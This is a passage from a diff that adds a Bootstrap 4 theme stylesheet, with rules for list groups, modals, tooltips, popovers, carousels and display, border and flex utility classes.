+.list-group-item-success.list-group-item-action:hover, .list-group-item-success.list-group-item-action:focus { + color: #3c571e; + background-color: #cbdfb6 +} + +.list-group-item-success.list-group-item-action.active { + color: #fff; + background-color: #3c571e; + border-color: #3c571e +} + +.list-group-item-info { + color: #021f3c; + background-color: #b8c8d8 +} + +.list-group-item-info.list-group-item-action:hover, .list-group-item-info.list-group-item-action:focus { + color: #021f3c; + background-color: #a8bbcf +} + +.list-group-item-info.list-group-item-action.active { + color: #fff; + background-color: #021f3c; + border-color: #021f3c +} + +.list-group-item-warning { + color: #732d00; + background-color: #f5d0b8 +} + +.list-group-item-warning.list-group-item-action:hover, .list-group-item-warning.list-group-item-action:focus { + color: #732d00; + background-color: #f2c1a2 +} + +.list-group-item-warning.list-group-item-action.active { + color: #fff; + background-color: #732d00; + border-color: #732d00 +} + +.list-group-item-danger { + color: #670f12; + background-color: #efbfc1 +} + +.list-group-item-danger.list-group-item-action:hover, .list-group-item-danger.list-group-item-action:focus { + color: #670f12; + background-color: #eaabad +} + +.list-group-item-danger.list-group-item-action.active { + color: #fff; + background-color: #670f12; + border-color: #670f12 +} + +.list-group-item-light { + color: #818182; + background-color: #fdfdfe +} + +.list-group-item-light.list-group-item-action:hover, .list-group-item-light.list-group-item-action:focus { + color: #818182; + background-color: #ececf6 +} + +.list-group-item-light.list-group-item-action.active { + color: #fff; + background-color: #818182; + border-color: #818182 +} + +.list-group-item-dark { + color: #1b1e21; + background-color: #c6c8ca +} + +.list-group-item-dark.list-group-item-action:hover, .list-group-item-dark.list-group-item-action:focus { + color: #1b1e21; + background-color: #b9bbbe +} + +.list-group-item-dark.list-group-item-action.active { + color: #fff; + background-color: #1b1e21; + border-color: #1b1e21 +} + +.close { + float: right; + font-size: 1.5rem; + font-weight: 700; + line-height: 1; + color: #000; + text-shadow: 0 1px 0 #fff; + opacity: .5 +} + +.close:hover, .close:focus { + color: #000; + text-decoration: none; + opacity: .75 +} + +.close:not(:disabled):not(.disabled) { + cursor: pointer +} + +button.close { + padding: 0; + background-color: transparent; + border: 0; + -webkit-appearance: none +} + +.modal-open { + overflow: hidden +} + +.modal { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1050; + display: none; + overflow: hidden; + outline: 0 +} + +.modal-open .modal { + overflow-x: hidden; + overflow-y: auto +} + +.modal-dialog { + position: relative; + width: auto; + margin: 0.5rem; + pointer-events: none +} + +.modal.fade .modal-dialog { + -webkit-transition: -webkit-transform 0.3s ease-out; + transition: -webkit-transform 0.3s ease-out; + transition: transform 0.3s ease-out; + transition: transform 0.3s ease-out, -webkit-transform 0.3s ease-out; + -webkit-transform: translate(0, -25%); + transform: translate(0, -25%) +} + +.modal.show .modal-dialog { + -webkit-transform: translate(0, 0); + transform: translate(0, 0) +} + +.modal-dialog-centered { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + min-height: calc(100% - (0.5rem * 2)) +} + +.modal-content { + position: relative; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + width: 100%; + pointer-events: auto; + background-color: #fff; + background-clip: padding-box; + border: 1px solid rgba(0, 0, 0, 0.2); + border-radius: 0.3rem; + outline: 0 +} + +.modal-backdrop { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1040; + background-color: #000 +} + +.modal-backdrop.fade { + opacity: 0 +} + +.modal-backdrop.show { + opacity: 0.5 +} + +.modal-header { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: start; + -ms-flex-align: start; + align-items: flex-start; + -webkit-box-pack: justify; + -ms-flex-pack: justify; + justify-content: space-between; + padding: 1rem; + border-bottom: 1px solid #e9ecef; + border-top-left-radius: 0.3rem; + border-top-right-radius: 0.3rem +} + +.modal-header .close { + padding: 1rem; + margin: -1rem -1rem -1rem auto +} + +.modal-title { + margin-bottom: 0; + line-height: 1.5 +} + +.modal-body { + position: relative; + -webkit-box-flex: 1; + -ms-flex: 1 1 auto; + flex: 1 1 auto; + padding: 1rem +} + +.modal-footer { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: end; + -ms-flex-pack: end; + justify-content: flex-end; + padding: 1rem; + border-top: 1px solid #e9ecef +} + +.modal-footer > :not(:first-child) { + margin-left: .25rem +} + +.modal-footer > :not(:last-child) { + margin-right: .25rem +} + +.modal-scrollbar-measure { + position: absolute; + top: -9999px; + width: 50px; + height: 50px; + overflow: scroll +} + +@media (min-width: 576px) { + .modal-dialog { + max-width: 500px; + margin: 1.75rem auto + } + + .modal-dialog-centered { + min-height: calc(100% - (1.75rem * 2)) + } + + .modal-sm { + max-width: 300px + } +} + +@media (min-width: 992px) { + .modal-lg { + max-width: 800px + } +} + +.tooltip { + position: absolute; + z-index: 1070; + display: block; + margin: 0; + font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; + font-style: normal; + font-weight: 400; + line-height: 1.5; + text-align: left; + text-align: start; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-break: normal; + word-spacing: normal; + white-space: normal; + line-break: auto; + font-size: 0.875rem; + word-wrap: break-word; + opacity: 0 +} + +.tooltip.show { + opacity: 0.9 +} + +.tooltip .arrow { + position: absolute; + display: block; + width: 0.8rem; + height: 0.4rem +} + +.tooltip .arrow::before { + position: absolute; + content: ""; + border-color: transparent; + border-style: solid +} + +.bs-tooltip-top, .bs-tooltip-auto[x-placement^="top"] { + padding: 0.4rem 0 +} + +.bs-tooltip-top .arrow, .bs-tooltip-auto[x-placement^="top"] .arrow { + bottom: 0 +} + +.bs-tooltip-top .arrow::before, .bs-tooltip-auto[x-placement^="top"] .arrow::before { + top: 0; + border-width: 0.4rem 0.4rem 0; + border-top-color: #000 +} + +.bs-tooltip-right, .bs-tooltip-auto[x-placement^="right"] { + padding: 0 0.4rem +} + +.bs-tooltip-right .arrow, .bs-tooltip-auto[x-placement^="right"] .arrow { + left: 0; + width: 0.4rem; + height: 0.8rem +} + +.bs-tooltip-right .arrow::before, .bs-tooltip-auto[x-placement^="right"] .arrow::before { + right: 0; + border-width: 0.4rem 0.4rem 0.4rem 0; + border-right-color: #000 +} + +.bs-tooltip-bottom, .bs-tooltip-auto[x-placement^="bottom"] { + padding: 0.4rem 0 +} + +.bs-tooltip-bottom .arrow, .bs-tooltip-auto[x-placement^="bottom"] .arrow { + top: 0 +} + +.bs-tooltip-bottom .arrow::before, .bs-tooltip-auto[x-placement^="bottom"] .arrow::before { + bottom: 0; + border-width: 0 0.4rem 0.4rem; + border-bottom-color: #000 +} + +.bs-tooltip-left, .bs-tooltip-auto[x-placement^="left"] { + padding: 0 0.4rem +} + +.bs-tooltip-left .arrow, .bs-tooltip-auto[x-placement^="left"] .arrow { + right: 0; + width: 0.4rem; + height: 0.8rem +} + +.bs-tooltip-left .arrow::before, .bs-tooltip-auto[x-placement^="left"] .arrow::before { + left: 0; + border-width: 0.4rem 0 0.4rem 0.4rem; + border-left-color: #000 +} + +.tooltip-inner { + max-width: 200px; + padding: 0.25rem 0.5rem; + color: #fff; + text-align: center; + background-color: #000; + border-radius: 0.25rem +} + +.popover { + position: absolute; + top: 0; + left: 0; + z-index: 1060; + display: block; + max-width: 276px; + font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; + font-style: normal; + font-weight: 400; + line-height: 1.5; + text-align: left; + text-align: start; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-break: normal; + word-spacing: normal; + white-space: normal; + line-break: auto; + font-size: 0.875rem; + word-wrap: break-word; + background-color: #fff; + background-clip: padding-box; + border: 1px solid rgba(0, 0, 0, 0.2); + border-radius: 0.3rem +} + +.popover .arrow { + position: absolute; + display: block; + width: 1rem; + height: 0.5rem; + margin: 0 0.3rem +} + +.popover .arrow::before, .popover .arrow::after { + position: absolute; + display: block; + content: ""; + border-color: transparent; + border-style: solid +} + +.bs-popover-top, .bs-popover-auto[x-placement^="top"] { + margin-bottom: 0.5rem +} + +.bs-popover-top .arrow, .bs-popover-auto[x-placement^="top"] .arrow { + bottom: calc((0.5rem + 1px) * -1) +} + +.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^="top"] .arrow::before, .bs-popover-top .arrow::after, .bs-popover-auto[x-placement^="top"] .arrow::after { + border-width: 0.5rem 0.5rem 0 +} + +.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^="top"] .arrow::before { + bottom: 0; + border-top-color: rgba(0, 0, 0, 0.25) +} + +.bs-popover-top .arrow::after, .bs-popover-auto[x-placement^="top"] .arrow::after { + bottom: 1px; + border-top-color: #fff +} + +.bs-popover-right, .bs-popover-auto[x-placement^="right"] { + margin-left: 0.5rem +} + +.bs-popover-right .arrow, .bs-popover-auto[x-placement^="right"] .arrow { + left: calc((0.5rem + 1px) * -1); + width: 0.5rem; + height: 1rem; + margin: 0.3rem 0 +} + +.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^="right"] .arrow::before, .bs-popover-right .arrow::after, .bs-popover-auto[x-placement^="right"] .arrow::after { + border-width: 0.5rem 0.5rem 0.5rem 0 +} + +.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^="right"] .arrow::before { + left: 0; + border-right-color: rgba(0, 0, 0, 0.25) +} + +.bs-popover-right .arrow::after, .bs-popover-auto[x-placement^="right"] .arrow::after { + left: 1px; + border-right-color: #fff +} + +.bs-popover-bottom, .bs-popover-auto[x-placement^="bottom"] { + margin-top: 0.5rem +} + +.bs-popover-bottom .arrow, .bs-popover-auto[x-placement^="bottom"] .arrow { + top: calc((0.5rem + 1px) * -1) +} + +.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^="bottom"] .arrow::before, .bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^="bottom"] .arrow::after { + border-width: 0 0.5rem 0.5rem 0.5rem +} + +.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^="bottom"] .arrow::before { + top: 0; + border-bottom-color: rgba(0, 0, 0, 0.25) +} + +.bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^="bottom"] .arrow::after { + top: 1px; + border-bottom-color: #fff +} + +.bs-popover-bottom .popover-header::before, .bs-popover-auto[x-placement^="bottom"] .popover-header::before { + position: absolute; + top: 0; + left: 50%; + display: block; + width: 1rem; + margin-left: -0.5rem; + content: ""; + border-bottom: 1px solid #f7f7f7 +} + +.bs-popover-left, .bs-popover-auto[x-placement^="left"] { + margin-right: 0.5rem +} + +.bs-popover-left .arrow, .bs-popover-auto[x-placement^="left"] .arrow { + right: calc((0.5rem + 1px) * -1); + width: 0.5rem; + height: 1rem; + margin: 0.3rem 0 +} + +.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^="left"] .arrow::before, .bs-popover-left .arrow::after, .bs-popover-auto[x-placement^="left"] .arrow::after { + border-width: 0.5rem 0 0.5rem 0.5rem +} + +.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^="left"] .arrow::before { + right: 0; + border-left-color: rgba(0, 0, 0, 0.25) +} + +.bs-popover-left .arrow::after, .bs-popover-auto[x-placement^="left"] .arrow::after { + right: 1px; + border-left-color: #fff +} + +.popover-header { + padding: 0.5rem 0.75rem; + margin-bottom: 0; + font-size: 1rem; + color: #2FA4E7; + background-color: #f7f7f7; + border-bottom: 1px solid #ebebeb; + border-top-left-radius: calc(0.3rem - 1px); + border-top-right-radius: calc(0.3rem - 1px) +} + +.popover-header:empty { + display: none +} + +.popover-body { + padding: 0.5rem 0.75rem; + color: #868e96 +} + +.carousel { + position: relative +} + +.carousel-inner { + position: relative; + width: 100%; + overflow: hidden +} + +.carousel-item { + position: relative; + display: none; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + width: 100%; + -webkit-transition: -webkit-transform 0.6s ease; + transition: -webkit-transform 0.6s ease; + transition: transform 0.6s ease; + transition: transform 0.6s ease, -webkit-transform 0.6s ease; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-perspective: 1000px; + perspective: 1000px +} + +.carousel-item.active, .carousel-item-next, .carousel-item-prev { + display: block +} + +.carousel-item-next, .carousel-item-prev { + position: absolute; + top: 0 +} + +.carousel-item-next.carousel-item-left, .carousel-item-prev.carousel-item-right { + -webkit-transform: translateX(0); + transform: translateX(0) +} + +@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d) { + .carousel-item-next.carousel-item-left, .carousel-item-prev.carousel-item-right { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.carousel-item-next, .active.carousel-item-right { + -webkit-transform: translateX(100%); + transform: translateX(100%) +} + +@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d) { + .carousel-item-next, .active.carousel-item-right { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0) + } +} + +.carousel-item-prev, .active.carousel-item-left { + -webkit-transform: translateX(-100%); + transform: translateX(-100%) +} + +@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d) { + .carousel-item-prev, .active.carousel-item-left { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0) + } +} + +.carousel-control-prev, .carousel-control-next { + position: absolute; + top: 0; + bottom: 0; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + width: 15%; + color: #fff; + text-align: center; + opacity: 0.5 +} + +.carousel-control-prev:hover, .carousel-control-prev:focus, .carousel-control-next:hover, .carousel-control-next:focus { + color: #fff; + text-decoration: none; + outline: 0; + opacity: .9 +} + +.carousel-control-prev { + left: 0 +} + +.carousel-control-next { + right: 0 +} + +.carousel-control-prev-icon, .carousel-control-next-icon { + display: inline-block; + width: 20px; + height: 20px; + background: transparent no-repeat center center; + background-size: 100% 100% +} + +.carousel-control-prev-icon { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E") +} + +.carousel-control-next-icon { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E") +} + +.carousel-indicators { + position: absolute; + right: 0; + bottom: 10px; + left: 0; + z-index: 15; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + padding-left: 0; + margin-right: 15%; + margin-left: 15%; + list-style: none +} + +.carousel-indicators li { + position: relative; + -webkit-box-flex: 0; + -ms-flex: 0 1 auto; + flex: 0 1 auto; + width: 30px; + height: 3px; + margin-right: 3px; + margin-left: 3px; + text-indent: -999px; + background-color: rgba(255, 255, 255, 0.5) +} + +.carousel-indicators li::before { + position: absolute; + top: -10px; + left: 0; + display: inline-block; + width: 100%; + height: 10px; + content: "" +} + +.carousel-indicators li::after { + position: absolute; + bottom: -10px; + left: 0; + display: inline-block; + width: 100%; + height: 10px; + content: "" +} + +.carousel-indicators .active { + background-color: #fff +} + +.carousel-caption { + position: absolute; + right: 15%; + bottom: 20px; + left: 15%; + z-index: 10; + padding-top: 20px; + padding-bottom: 20px; + color: #fff; + text-align: center +} + +.align-baseline { + vertical-align: baseline !important +} + +.align-top { + vertical-align: top !important +} + +.align-middle { + vertical-align: middle !important +} + +.align-bottom { + vertical-align: bottom !important +} + +.align-text-bottom { + vertical-align: text-bottom !important +} + +.align-text-top { + vertical-align: text-top !important +} + +.bg-primary { + background-color: #2FA4E7 !important +} + +a.bg-primary:hover, a.bg-primary:focus, button.bg-primary:hover, button.bg-primary:focus { + background-color: #178acc !important +} + +.bg-secondary { + background-color: #e9ecef !important +} + +a.bg-secondary:hover, a.bg-secondary:focus, button.bg-secondary:hover, button.bg-secondary:focus { + background-color: #cbd3da !important +} + +.bg-success { + background-color: #73A839 !important +} + +a.bg-success:hover, a.bg-success:focus, button.bg-success:hover, button.bg-success:focus { + background-color: #59822c !important +} + +.bg-info { + background-color: #033C73 !important +} + +a.bg-info:hover, a.bg-info:focus, button.bg-info:hover, button.bg-info:focus { + background-color: #022241 !important +} + +.bg-warning { + background-color: #DD5600 !important +} + +a.bg-warning:hover, a.bg-warning:focus, button.bg-warning:hover, button.bg-warning:focus { + background-color: #aa4200 !important +} + +.bg-danger { + background-color: #C71C22 !important +} + +a.bg-danger:hover, a.bg-danger:focus, button.bg-danger:hover, button.bg-danger:focus { + background-color: #9a161a !important +} + +.bg-light { + background-color: #f8f9fa !important +} + +a.bg-light:hover, a.bg-light:focus, button.bg-light:hover, button.bg-light:focus { + background-color: #dae0e5 !important +} + +.bg-dark { + background-color: #343a40 !important +} + +a.bg-dark:hover, a.bg-dark:focus, button.bg-dark:hover, button.bg-dark:focus { + background-color: #1d2124 !important +} + +.bg-white { + background-color: #fff !important +} + +.bg-transparent { + background-color: transparent !important +} + +.border { + border: 1px solid #dee2e6 !important +} + +.border-top { + border-top: 1px solid #dee2e6 !important +} + +.border-right { + border-right: 1px solid #dee2e6 !important +} + +.border-bottom { + border-bottom: 1px solid #dee2e6 !important +} + +.border-left { + border-left: 1px solid #dee2e6 !important +} + +.border-0 { + border: 0 !important +} + +.border-top-0 { + border-top: 0 !important +} + +.border-right-0 { + border-right: 0 !important +} + +.border-bottom-0 { + border-bottom: 0 !important +} + +.border-left-0 { + border-left: 0 !important +} + +.border-primary { + border-color: #2FA4E7 !important +} + +.border-secondary { + border-color: #e9ecef !important +} + +.border-success { + border-color: #73A839 !important +} + +.border-info { + border-color: #033C73 !important +} + +.border-warning { + border-color: #DD5600 !important +} + +.border-danger { + border-color: #C71C22 !important +} + +.border-light { + border-color: #f8f9fa !important +} + +.border-dark { + border-color: #343a40 !important +} + +.border-white { + border-color: #fff !important +} + +.rounded { + border-radius: 0.25rem !important +} + +.rounded-top { + border-top-left-radius: 0.25rem !important; + border-top-right-radius: 0.25rem !important +} + +.rounded-right { + border-top-right-radius: 0.25rem !important; + border-bottom-right-radius: 0.25rem !important +} + +.rounded-bottom { + border-bottom-right-radius: 0.25rem !important; + border-bottom-left-radius: 0.25rem !important +} + +.rounded-left { + border-top-left-radius: 0.25rem !important; + border-bottom-left-radius: 0.25rem !important +} + +.rounded-circle { + border-radius: 50% !important +} + +.rounded-0 { + border-radius: 0 !important +} + +.clearfix::after { + display: block; + clear: both; + content: "" +} + +.d-none { + display: none !important +} + +.d-inline { + display: inline !important +} + +.d-inline-block { + display: inline-block !important +} + +.d-block { + display: block !important +} + +.d-table { + display: table !important +} + +.d-table-row { + display: table-row !important +} + +.d-table-cell { + display: table-cell !important +} + +.d-flex { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important +} + +.d-inline-flex { + display: -webkit-inline-box !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important +} + +@media (min-width: 576px) { + .d-sm-none { + display: none !important + } + + .d-sm-inline { + display: inline !important + } + + .d-sm-inline-block { + display: inline-block !important + } + + .d-sm-block { + display: block !important + } + + .d-sm-table { + display: table !important + } + + .d-sm-table-row { + display: table-row !important + } + + .d-sm-table-cell { + display: table-cell !important + } + + .d-sm-flex { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important + } + + .d-sm-inline-flex { + display: -webkit-inline-box !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important + } +} + +@media (min-width: 768px) { + .d-md-none { + display: none !important + } + + .d-md-inline { + display: inline !important + } + + .d-md-inline-block { + display: inline-block !important + } + + .d-md-block { + display: block !important + } + + .d-md-table { + display: table !important + } + + .d-md-table-row { + display: table-row !important + } + + .d-md-table-cell { + display: table-cell !important + } + + .d-md-flex { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important + } + + .d-md-inline-flex { + display: -webkit-inline-box !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important + } +} + +@media (min-width: 992px) { + .d-lg-none { + display: none !important + } + + .d-lg-inline { + display: inline !important + } + + .d-lg-inline-block { + display: inline-block !important + } + + .d-lg-block { + display: block !important + } + + .d-lg-table { + display: table !important + } + + .d-lg-table-row { + display: table-row !important + } + + .d-lg-table-cell { + display: table-cell !important + } + + .d-lg-flex { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important + } + + .d-lg-inline-flex { + display: -webkit-inline-box !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important + } +} + +@media (min-width: 1200px) { + .d-xl-none { + display: none !important + } + + .d-xl-inline { + display: inline !important + } + + .d-xl-inline-block { + display: inline-block !important + } + + .d-xl-block { + display: block !important + } + + .d-xl-table { + display: table !important + } + + .d-xl-table-row { + display: table-row !important + } + + .d-xl-table-cell { + display: table-cell !important + } + + .d-xl-flex { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important + } + + .d-xl-inline-flex { + display: -webkit-inline-box !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important + } +} + +@media print { + .d-print-none { + display: none !important + } + + .d-print-inline { + display: inline !important + } + + .d-print-inline-block { + display: inline-block !important + } + + .d-print-block { + display: block !important + } + + .d-print-table { + display: table !important + } + + .d-print-table-row { + display: table-row !important + } + + .d-print-table-cell { + display: table-cell !important + } + + .d-print-flex { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important + } + + .d-print-inline-flex { + display: -webkit-inline-box !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important + } +} + +.embed-responsive { + position: relative; + display: block; + width: 100%; + padding: 0; + overflow: hidden +} + +.embed-responsive::before { + display: block; + content: "" +} + +.embed-responsive .embed-responsive-item, .embed-responsive iframe, .embed-responsive embed, .embed-responsive object, .embed-responsive video { + position: absolute; + top: 0; + bottom: 0; + left: 0; + width: 100%; + height: 100%; + border: 0 +} + +.embed-responsive-21by9::before { + padding-top: 42.8571428571% +} + +.embed-responsive-16by9::before { + padding-top: 56.25% +} + +.embed-responsive-4by3::before { + padding-top: 75% +} + +.embed-responsive-1by1::before { + padding-top: 100% +} + +.flex-row { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: row !important; + flex-direction: row !important +} + +.flex-column { + -webkit-box-orient: vertical !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: column !important; + flex-direction: column !important +} + +.flex-row-reverse { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important +} + +.flex-column-reverse { + -webkit-box-orient: vertical !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important +} + +.flex-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important +} + +.flex-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important +} + +.flex-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important +} + +.justify-content-start { + -webkit-box-pack: start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important +} + +.justify-content-end { + -webkit-box-pack: end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important +} + +.justify-content-center { + -webkit-box-pack: center !important; + -ms-flex-pack: center !important; + justify-content: center !important +} + +.justify-content-between { + -webkit-box-pack: justify !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important +} + +.justify-content-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important +} + +.align-items-start { + -webkit-box-align: start !important; + -ms-flex-align: start !important; + align-items: flex-start !important +} + +.align-items-end { + -webkit-box-align: end !important; + -ms-flex-align: end !important; + align-items: flex-end !important +} + +.align-items-center { + -webkit-box-align: center !important; + -ms-flex-align: center !important; + align-items: center !important +} + +.align-items-baseline { + -webkit-box-align: baseline !important; + -ms-flex-align: baseline !important; + align-items: baseline !important +} + +.align-items-stretch { + -webkit-box-align: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important +} + +.align-content-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important +} + +.align-content-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important +} + +.align-content-center { + -ms-flex-line-pack: center !important; + align-content: center !important +} + +.align-content-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important +} + +.align-content-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important +} + +.align-content-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important +} + +.align-self-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important +} + +.align-self-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important +} + +.align-self-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important +} + +.align-self-center { + -ms-flex-item-align: center !important; + align-self: center !important +} + +.align-self-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important +} + +.align-self-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important +} + +@media (min-width: 576px) { + .flex-sm-row { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: row !important; + flex-direction: row !important + } + + .flex-sm-column { + -webkit-box-orient: vertical !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: column !important; + flex-direction: column !important + } + + .flex-sm-row-reverse { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important + } + + .flex-sm-column-reverse { + -webkit-box-orient: vertical !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important + } + + .flex-sm-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important + } + + .flex-sm-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important + } + + .flex-sm-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important + } + + .justify-content-sm-start { + -webkit-box-pack: start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important + } + + .justify-content-sm-end { + -webkit-box-pack: end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important + } + + .justify-content-sm-center { + -webkit-box-pack: center !important; + -ms-flex-pack: center !important; + justify-content: center !important + } + + .justify-content-sm-between { + -webkit-box-pack: justify !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important + } + + .justify-content-sm-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important + } + + .align-items-sm-start { + -webkit-box-align: start !important; + -ms-flex-align: start !important; + align-items: flex-start !important + } + + .align-items-sm-end { + -webkit-box-align: end !important; + -ms-flex-align: end !important; + align-items: flex-end !important + } + + .align-items-sm-center { + -webkit-box-align: center !important; + -ms-flex-align: center !important; + align-items: center !important + } + + .align-items-sm-baseline { + -webkit-box-align: baseline !important; + -ms-flex-align: baseline !important; + align-items: baseline !important + } + + .align-items-sm-stretch { + -webkit-box-align: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important + } + + .align-content-sm-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important + } + + .align-content-sm-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important + } + + .align-content-sm-center { + -ms-flex-line-pack: center !important; + align-content: center !important + } + + .align-content-sm-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important + } + + .align-content-sm-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important + } + + .align-content-sm-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important + } + + .align-self-sm-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important + } + + .align-self-sm-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important + } + + .align-self-sm-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important + } + + .align-self-sm-center { + -ms-flex-item-align: center !important; + align-self: center !important + } + + .align-self-sm-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important + } + + .align-self-sm-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important + } +} + +@media (min-width: 768px) { + .flex-md-row { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: row !important; + flex-direction: row !important + } + + .flex-md-column { + -webkit-box-orient: vertical !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: column !important; + flex-direction: column !important + } + + .flex-md-row-reverse { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important + } + + .flex-md-column-reverse { + -webkit-box-orient: vertical !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important + } + + .flex-md-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important + } + + .flex-md-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important + } + + .flex-md-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important + } + + .justify-content-md-start { + -webkit-box-pack: start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important + } + + .justify-content-md-end { + -webkit-box-pack: end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important + } + + .justify-content-md-center { + -webkit-box-pack: center !important; + -ms-flex-pack: center 